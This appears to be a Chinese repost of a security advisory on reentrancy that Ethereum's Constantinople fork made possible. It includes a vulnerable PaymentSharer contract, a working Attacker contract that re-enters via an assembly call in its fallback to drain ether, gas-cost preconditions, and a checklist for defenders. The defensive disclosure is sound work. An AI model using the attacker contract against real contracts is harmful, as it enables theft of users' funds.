以太坊硬分叉后的可重入漏洞攻击

这篇具有很好参考价值的文章主要介绍了以太坊硬分叉后的可重入漏洞攻击。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

以太坊硬分叉后的可重入漏洞攻击

以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而,这次升级也有一个副作用,在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络中,这些函数被认为是可重入安全的,但分叉后它们不再是了。

这个代码的问题何在?

下图是君士坦丁堡硬分叉之前没有可重入漏洞的一个代码段,它会在分叉后导致可重入性。

pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Here would be:
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;

    a.transfer(depo * splits[id] / 100);
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

An example for newly vulnerable code.

这个代码会被一种意想不到的方式攻击:它模拟了一个安全的资金共享服务。双方可以共同接收资金,决定如何分成,如果他们达成一致 ­,则可以获得支付。攻击者将创建一个对,其中第一个地址是下图列出的攻击合约地址,第二个地址则是任何攻击者账户。攻击者将在这个对存入一些以太币。

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    address x = victim;
    assembly{
        mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
        pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
    }
  }

  function drain() external {
    owner.transfer(address(this).balance);
  }
}

Attacker Contract listed as first address.

当攻击者在自己的合约中调用 attack 函数时,在同一个交易中就会发生以下事件:

  1. 攻击者利用 updateSplit 函数设置当前的分成,从而确保之后的升级将会降低费用。这是君士坦丁堡升级带来的效应。攻击者通过这种方式设置分成,他的第一个地址(即攻击合约地址)就能接收到所有的以太币。
  2. 攻击合约调用 splitFunds 函数,该调用将进行检查*等,并通过 transfer()函数把其中存储的所有以太币发送到攻击合约。
  3. 通过回退函数,攻击者再次执行分成,这一次将所有以太币分配给他的第二个地址,即其自己的账户。
  4. 通过不断执行 splitFunds 函数,在第一个地址中存储的所有以太币都被转移到了攻击者账户中。
    简单来说,攻击者可以不断从 PaymentSharer 合约中盗取其他用户的以太币。

为什么这种漏洞变得可利用了?

在君士坦丁堡硬分叉前,一个存储指令至少需要 5000 gas 手续费。这远远超过了在利用 transfer()函数或 send()函数调用合约时可用的 2300 gas 津贴。
在君士坦丁堡分叉后,会改变“脏(dirty)”存储器槽(storage slot)的存储指令只需 200 gas。如果在交易执行期间对一个存储器槽做出修改,那么这个存储器槽就会被标记为“dirty”。如上所示,这可以通过在攻击合约调用一些改变所需变量的公共函数来实现。然后,通过使被攻击合约调用攻击合约,例如使用 msg.sender.transfer(…)函数,攻击合约就可以利用 gas 津贴成功操纵这个被攻击合约的变量。
被攻击合约必须满足以下先决条件:

  1. 首先必须存在函数A,在调用 transfer/send 函数后将执行状态修改的指令。有时这种指令可能是不明显的,例如,第二次 transfer 的调用或与另一个智能合约的互动。
  2. 必须存在攻击者可调用的函数B ,能够实现(a)改变状态;(b)其状态改变与函数A的状态改变冲突。
  3. 执行函数B 的手续费必须小于 1600 gas (2300 gas 津贴 — CALL 指令花费的 700 gas)。

我的智能合约是否易受攻击?

要测试一个智能合约是否易受攻击:
(a) 检查在 transfer 事件后是否存在其他指令。
(b) 检查这些指令是否修改了存储状态。最常见的修改是通过分配一些存储变量。如果你在调用另一个合约,比如代币的 transfer 函数,检查并列出所有被修改的变量。
© 检查在你的合约中是否有任何非管理员可访问的方式使用了这些变量。
(d) 检查这些方式本身是否修改了存储状态。
(e) 检查这种方式的手续费是否低于 2300 gas,记住,SSTORE 指令理论上只需要花费 200 gas。
如果上述所有情况皆符合,那么攻击者很可能可以对你的合约发起恶意攻击,使其陷入糟糕的状态。总的来说,这也再次提醒了我们“检查-生效-交互”(Checks-Effects-Interactions)模式的重要性。

目前存在易受攻击的智能合约吗?

利用 eveem.org 提供的数据,我们检查了主要以太坊区块链,并未发现易受攻击的智能合约。我们也在与 ethsecurity.org 工作组的成员合作,将此次检查扩展到尚未反编译的复杂智能合约,尤其是去中心化交易所。去中心化交易所经常向不可信账户调用以太币转移函数,之后存储状态被修改,这些交易所就可能会变得易受攻击。请记住,在许多情况下,重入攻击警告并不意味着这个漏洞可以被利用,而需要更仔细的分析。文章来源地址https://www.toymoban.com/news/detail-670956.html

到了这里,关于以太坊硬分叉后的可重入漏洞攻击的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ReentrantLock是如何实现可重入性

    1 问题 ReentrantLock是如何实现可重入性的? 并且在进入锁内之前进行了哪些判断? 2 方法 // Sync继承于AQS abstract static class Sync extends AbstractQueuedSynchronizer {  ... } // ReentrantLock默认是非公平锁 public ReentrantLock() {        sync = new NonfairSync(); } // 可以通过向构造方法中传true来实现公

    2024年02月07日
    浏览(43)
  • curator实现的zookeeper可重入锁

    Curator是一个Apache开源的ZooKeeper客户端库,它提供了许多高级特性和工具类,用于简化在分布式环境中使用ZooKeeper的开发。其中之一就是可重入锁。 Curator提供了 InterProcessMutex 类来实现可重入锁。以下是使用Curator实现ZooKeeper可重入锁的示例: import org.apache.curator.framework.Curato

    2024年02月15日
    浏览(42)
  • Linux 可重入、异步信号安全和线程安全

    当一个被捕获的信号被一个进程处理时,进程执行的普通的指令序列会被一个信号处理器暂时地中断。它首先执行该信号处理程序中的指令。如果从信号处理程序返回(例如没有调用exit或longjmp),则继续执行在捕获到信号时进程正在执行的正常指令序列(这和当一个硬件中

    2024年02月11日
    浏览(34)
  • ReentrantLock原理--非公平锁、可重入、可打断性

    先从构造器开始看,默认为非公平锁实现 NonfairSync 继承自 AQS 没有竞争时 第一个竞争出现时 Thread-1 执行了 CAS 尝试将 state 由 0 改为 1,结果失败 进入 tryAcquire 逻辑,这时 state 已经是1,结果仍然失败 接下来进入 addWaiter 逻辑,构造 Node 队列 图中黄色三角表示该 Node 的 waitSt

    2023年04月08日
    浏览(31)
  • Redisson 分布式锁可重入的原理

    目录 1. 使用 Redis 实现分布式锁存在的问题 2. Redisson 的分布式锁解决不可重入问题的原理 不可重入:同一个线程无法两次 / 多次获取锁 举例 method1 执行需要获取锁 method2 执行也需要(同一把)锁 如果 method1 中调用了 method2,就会出现死锁的情况 method1 执行的过程是同一个线

    2024年01月25日
    浏览(45)
  • Redis分布式可重入锁实现方案

    在单进程环境下,要保证一个代码块的同步执行,直接用 synchronized 或 ReetrantLock 即可。在分布式环境下,要保证多个节点的线程对代码块的同步访问,就必须要用到分布式锁方案。 分布式锁实现方案有很多,有基于关系型数据库行锁实现的;有基于ZooKeeper临时顺序节

    2024年02月19日
    浏览(43)
  • 【Java | 多线程】可重入锁的概念以及示例

    可重入锁(又名递归锁)是一种特殊类型的锁,它允许 同一个线程在获取锁后再次进入该锁保护的代码块或方法,而不需要重新获取锁 。 说白了,可重入锁的特点就是同一个线程可以多次获取同一个锁,而不会因为之前已经获取过锁而阻塞。 可重入锁的一个优点是可以一定

    2024年04月24日
    浏览(38)
  • 【redis】redis分布式锁(二)可重入锁+设计模式

    上一篇链接: 【redis】redis分布式锁(一)手写分布式锁1.0~6.0 隐式锁(即synchronized使用的锁)默认是可重入锁 synchronized的重入实现机理 显式锁也有ReentrantLock这样的可重入锁 结论: 下边将使用lua脚本的方式,把可重入锁的案例语句原子化 V1.0版本 蓝色部分是重复的,可

    2024年02月03日
    浏览(42)
  • 【Linux】信号--信号的捕捉/可重入函数/volatile/SIGCHLD信号

    用户态的的时候,进行以下操作:1.操作系统自身的资源(getpid,waitpid…)2.硬件资源(printf, write,read) 用户为了访问内核或者硬件资源,必须通过系统调用完成访问。实际执行系统调用”人是“进程”,但是身份其实是内核。往往系统调用比较费时间一些,所以尽量避免频繁调用系

    2024年02月04日
    浏览(37)
  • redis — redis cluster集群模式下如何实现批量可重入锁?

    一、redis cluster 集群版 在Redis 3.0版本以后,Redis发布了Redis Cluster。该集群主要支持搞并发和海量数据处理等优势,当 Redis 在集群模式下运行时,它处理数据存储的方式与作为单个实例运行时不同。这是因为它应该准备好跨多个节点分发数据,从而实现水平可扩展性。具体能力表

    2024年01月21日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包